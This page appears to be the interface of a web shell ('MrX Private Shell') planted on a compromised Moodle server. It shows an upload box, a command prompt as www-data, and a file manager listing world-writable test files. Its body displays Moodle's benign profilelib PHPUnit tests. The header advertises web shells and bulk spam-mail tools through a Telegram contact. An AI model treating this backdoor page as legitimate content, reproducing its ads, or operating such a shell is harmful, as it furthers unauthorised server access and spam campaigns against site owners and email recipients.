__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.216.10: ~ $
<?php
// This file is part of Moodle - http://moodle.org/
//
// Moodle is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// Moodle is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with Moodle.  If not, see <http://www.gnu.org/licenses/>.

namespace core_user;

/**
 * Unit tests for user/profile/lib.php.
 *
 * @package core_user
 * @copyright 2014 The Open University
 * @licensehttp://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 */
final class profilelib_test extends \advanced_testcase {

    /**
     * Load required test libraries
     */
    public static function setUpBeforeClass(): void {
        global $CFG;
        require_once("{$CFG->dirroot}/user/profile/lib.php");
        parent::setUpBeforeClass();
    }

    /**
     * Tests profile_get_custom_fields function and checks it is consistent
     * with profile_user_record.
     */
    public function test_get_custom_fields(): void {
        $this->resetAfterTest();
        $user = $this->getDataGenerator()->create_user();

        // Add a custom field of textarea type.
        $id1 = $this->getDataGenerator()->create_custom_profile_field([
                'shortname' => 'frogdesc', 'name' => 'Description of frog',
                'datatype' => 'textarea'])->id;

        // Check the field is returned.
        $result = profile_get_custom_fields();
        $this->assertArrayHasKey($id1, $result);
        $this->assertEquals('frogdesc', $result[$id1]->shortname);

        // Textarea types are not included in user data though, so if we
        // use the 'only in user data' parameter, there is still nothing.
        $this->assertArrayNotHasKey($id1, profile_get_custom_fields(true));

        // Check that profile_user_record returns same (no) fields.
        $this->assertObjectNotHasProperty('frogdesc', profile_user_record($user->id));

        // Check that profile_user_record returns all the fields when requested.
        $this->assertObjectHasProperty('frogdesc', profile_user_record($user->id, false));

        // Add another custom field, this time of normal text type.
        $id2 = $this->getDataGenerator()->create_custom_profile_field(array(
                'shortname' => 'frogname', 'name' => 'Name of frog',
                'datatype' => 'text'))->id;

        // Check both are returned using normal option.
        $result = profile_get_custom_fields();
        $this->assertArrayHasKey($id2, $result);
        $this->assertEquals('frogname', $result[$id2]->shortname);

        // And check that only the one is returned the other way.
        $this->assertArrayHasKey($id2, profile_get_custom_fields(true));

        // Check profile_user_record returns same field.
        $this->assertObjectHasProperty('frogname', profile_user_record($user->id));

        // Check that profile_user_record returns all the fields when requested.
        $this->assertObjectHasProperty('frogname', profile_user_record($user->id, false));
    }

    /**
     * Make sure that all profile fields can be initialised without arguments.
     */
    public function test_default_constructor(): void {
        global $DB, $CFG;
        require_once($CFG->dirroot . '/user/profile/definelib.php');
        $datatypes = profile_list_datatypes();
        foreach ($datatypes as $datatype => $datatypename) {
            require_once($CFG->dirroot . '/user/profile/field/' .
                $datatype . '/field.class.php');
            $newfield = 'profile_field_' . $datatype;
            $formfield = new $newfield();
            $this->assertNotNull($formfield);
        }
    }

    /**
     * Test profile_view function
     */
    public function test_profile_view(): void {
        global $USER;

        $this->resetAfterTest();

        // Course without sections.
        $course = $this->getDataGenerator()->create_course();
        $context = \context_course::instance($course->id);
        $user = $this->getDataGenerator()->create_user();
        $usercontext = \context_user::instance($user->id);

        $this->setUser($user);

        // Redirect events to the sink, so we can recover them later.
        $sink = $this->redirectEvents();

        profile_view($user, $context, $course);
        $events = $sink->get_events();
        $event = reset($events);

        // Check the event details are correct.
        $this->assertInstanceOf('\core\event\user_profile_viewed', $event);
        $this->assertEquals($context, $event->get_context());
        $this->assertEquals($user->id, $event->relateduserid);
        $this->assertEquals($course->id, $event->other['courseid']);
        $this->assertEquals($course->shortname, $event->other['courseshortname']);
        $this->assertEquals($course->fullname, $event->other['coursefullname']);

        profile_view($user, $usercontext);
        $events = $sink->get_events();
        $event = array_pop($events);
        $sink->close();

        $this->assertInstanceOf('\core\event\user_profile_viewed', $event);
        $this->assertEquals($usercontext, $event->get_context());
        $this->assertEquals($user->id, $event->relateduserid);

    }

    /**
     * Test that {@link user_not_fully_set_up()} takes required custom fields into account.
     */
    public function test_profile_has_required_custom_fields_set(): void {
        global $CFG;
        require_once($CFG->dirroot.'/mnet/lib.php');

        $this->resetAfterTest();

        // Add a required, visible, unlocked custom field.
        $this->getDataGenerator()->create_custom_profile_field(['shortname' => 'house', 'name' => 'House', 'required' => 1,
            'visible' => 1, 'locked' => 0, 'datatype' => 'text']);

        // Add an optional, visible, unlocked custom field.
        $this->getDataGenerator()->create_custom_profile_field(['shortname' => 'pet', 'name' => 'Pet', 'required' => 0,
            'visible' => 1, 'locked' => 0, 'datatype' => 'text']);

        // Add required but invisible custom field.
        $this->getDataGenerator()->create_custom_profile_field(['shortname' => 'secretid', 'name' => 'Secret ID',
            'required' => 1, 'visible' => 0, 'locked' => 0, 'datatype' => 'text']);

        // Add required but locked custom field.
        $this->getDataGenerator()->create_custom_profile_field(['shortname' => 'muggleborn', 'name' => 'Muggle-born',
            'required' => 1, 'visible' => 1, 'locked' => 1, 'datatype' => 'checkbox']);

        // Create some student accounts.
        $hermione = $this->getDataGenerator()->create_user();
        $harry = $this->getDataGenerator()->create_user();
        $ron = $this->getDataGenerator()->create_user();
        $draco = $this->getDataGenerator()->create_user();

        // Hermione has all available custom fields filled (of course she has).
        profile_save_data((object)['id' => $hermione->id, 'profile_field_house' => 'Gryffindor']);
        profile_save_data((object)['id' => $hermione->id, 'profile_field_pet' => 'Crookshanks']);

        // Harry has only the optional field filled.
        profile_save_data((object)['id' => $harry->id, 'profile_field_pet' => 'Hedwig']);

        // Draco has only the required field filled.
        profile_save_data((object)['id' => $draco->id, 'profile_field_house' => 'Slytherin']);

        // Only students with required fields filled should be considered as fully set up in the default (strict) mode.
        $this->assertFalse(user_not_fully_set_up($hermione));
        $this->assertFalse(user_not_fully_set_up($draco));
        $this->assertTrue(user_not_fully_set_up($harry));
        $this->assertTrue(user_not_fully_set_up($ron));

        // In the lax mode, students do not need to have required fields filled.
        $this->assertFalse(user_not_fully_set_up($hermione, false));
        $this->assertFalse(user_not_fully_set_up($draco, false));
        $this->assertFalse(user_not_fully_set_up($harry, false));
        $this->assertFalse(user_not_fully_set_up($ron, false));

        // Lack of required core field is seen as a problem in either mode.
        unset($hermione->email);
        $this->assertTrue(user_not_fully_set_up($hermione, true));
        $this->assertTrue(user_not_fully_set_up($hermione, false));

        // When confirming remote MNet users, we do not have custom fields available.
        $roamingharry = mnet_strip_user($harry, ['firstname', 'lastname', 'email']);
        $roaminghermione = mnet_strip_user($hermione, ['firstname', 'lastname', 'email']);

        $this->assertTrue(user_not_fully_set_up($roamingharry, true));
        $this->assertFalse(user_not_fully_set_up($roamingharry, false));
        $this->assertTrue(user_not_fully_set_up($roaminghermione, true));
        $this->assertTrue(user_not_fully_set_up($roaminghermione, false));
    }

    /**
     * Test that user generator sets the custom profile fields
     */
    public function test_profile_fields_in_generator(): void {
        global $CFG;
        require_once($CFG->dirroot.'/mnet/lib.php');

        $this->resetAfterTest();

        // Add a required, visible, unlocked custom field.
        $this->getDataGenerator()->create_custom_profile_field(['shortname' => 'house', 'name' => 'House', 'required' => 1,
            'visible' => 1, 'locked' => 0, 'datatype' => 'text', 'defaultdata' => null]);

        // Create some student accounts.
        $hermione = $this->getDataGenerator()->create_user(['profile_field_house' => 'Gryffindor']);
        $harry = $this->getDataGenerator()->create_user();

        // Only students with required fields filled should be considered as fully set up.
        $this->assertFalse(user_not_fully_set_up($hermione));
        $this->assertTrue(user_not_fully_set_up($harry));

        // Test that the profile fields were actually set.
        $profilefields1 = profile_user_record($hermione->id);
        $this->assertEquals('Gryffindor', $profilefields1->house);

        $profilefields2 = profile_user_record($harry->id);
        $this->assertObjectHasProperty('house', $profilefields2);
        $this->assertNull($profilefields2->house);
    }

    /**
     * Tests the profile_get_custom_field_data_by_shortname function when working normally.
     */
    public function test_profile_get_custom_field_data_by_shortname_normal(): void {
        global $DB;

        $this->resetAfterTest();

        // Create 3 profile fields.
        $generator = $this->getDataGenerator();
        $field1 = $generator->create_custom_profile_field(['datatype' => 'text',
                'shortname' => 'speciality', 'name' => 'Speciality',
                'visible' => PROFILE_VISIBLE_ALL]);
        $field2 = $generator->create_custom_profile_field(['datatype' => 'menu',
                'shortname' => 'veggie', 'name' => 'Vegetarian',
                'visible' => PROFILE_VISIBLE_PRIVATE]);

        // Get the first field data and check it is correct.
        $data = profile_get_custom_field_data_by_shortname('speciality');
        $this->assertEquals('Speciality', $data->name);
        $this->assertEquals(PROFILE_VISIBLE_ALL, $data->visible);
        $this->assertEquals($field1->id, $data->id);

        // Get the second field data, checking there is no database query this time.
        $before = $DB->perf_get_queries();
        $data = profile_get_custom_field_data_by_shortname('veggie');
        $this->assertEquals($before, $DB->perf_get_queries());
        $this->assertEquals('Vegetarian', $data->name);
        $this->assertEquals(PROFILE_VISIBLE_PRIVATE, $data->visible);
        $this->assertEquals($field2->id, $data->id);
    }

    /**
     * Tests the profile_get_custom_field_data_by_shortname function with a field that doesn't exist.
     */
    public function test_profile_get_custom_field_data_by_shortname_missing(): void {
        $this->assertNull(profile_get_custom_field_data_by_shortname('speciality'));
    }

    /**
     * Data provider for {@see test_profile_get_custom_field_data_by_shortname_case_sensitivity}
     *
     * @return array[]
     */
    public static function profile_get_custom_field_data_by_shortname_case_sensitivity_provider(): array {
        return [
            'Matching case, case-sensitive search' => ['hello', 'hello', true, true],
            'Matching case, case-insensitive search' => ['hello', 'hello', false, true],
            'Non-matching case, case-sensitive search' => ['hello', 'Hello', true, false],
            'Non-matching case, case-insensitive search' => ['hello', 'Hello', false, true],
            'Non-matching, case-sensitive search' => ['hello', 'hola', true, false],
            'Non-matching, case-insensitive search' => ['hello', 'hola', false, false],
        ];
    }

    /**
     * Test retrieving custom field by shortname, specifying case-sensitivity when matching
     *
     * @param string $shortname
     * @param string $shortnamesearch
     * @param bool $casesensitive
     * @param bool $expectmatch
     *
     * @dataProvider profile_get_custom_field_data_by_shortname_case_sensitivity_provider
     */
    public function test_profile_get_custom_field_data_by_shortname_case_sensitivity(
        string $shortname,
        string $shortnamesearch,
        bool $casesensitive,
        bool $expectmatch
    ): void {
        $this->resetAfterTest();

        $this->getDataGenerator()->create_custom_profile_field([
            'datatype' => 'text',
            'shortname' => $shortname,
            'name' => 'My field',
        ]);

        $customfield = profile_get_custom_field_data_by_shortname($shortnamesearch, $casesensitive);
        if ($expectmatch) {
            $this->assertInstanceOf(\stdClass::class, $customfield);
            $this->assertEquals('text', $customfield->datatype);
            $this->assertEquals($shortname, $customfield->shortname);
            $this->assertEquals('My field', $customfield->name);
        } else {
            $this->assertNull($customfield);
        }
    }

    /**
     * Test profile field loading via profile_get_user_field helper
     *
     * @covers ::profile_get_user_field
     */
    public function test_profile_get_user_field(): void {
        $this->resetAfterTest();

        $profilefield = $this->getDataGenerator()->create_custom_profile_field([
            'shortname' => 'fruit',
            'name' => 'Fruit',
            'datatype' => 'text',
        ]);
        $user = $this->getDataGenerator()->create_user(['profile_field_fruit' => 'Apple']);

        $fieldinstance = profile_get_user_field('text', $profilefield->id, $user->id);
        $this->assertInstanceOf(\profile_field_text::class, $fieldinstance);
        $this->assertEquals($profilefield->id, $fieldinstance->fieldid);
        $this->assertEquals($user->id, $fieldinstance->userid);
        $this->assertEquals('Apple', $fieldinstance->data);
    }
}

Filemanager

Name Type Size Permission Actions
behat Folder 0777
external Folder 0777
fixtures Folder 0777
privacy Folder 0777
reportbuilder Folder 0777
route Folder 0777
search Folder 0777
table Folder 0777
coverage.php File 1.08 KB 0777
devicekey_test.php File 2.17 KB 0777
editlib_test.php File 7.4 KB 0777
externallib_test.php File 78.31 KB 0777
fields_test.php File 27.77 KB 0777
group_non_members_selector_test.php File 4.84 KB 0777
myprofile_test.php File 15.9 KB 0777
profilelib_test.php File 14.91 KB 0777
userlib_test.php File 47.45 KB 0777
userroleseditable_test.php File 2.98 KB 0777
userselector_test.php File 10.54 KB 0777
Filemanager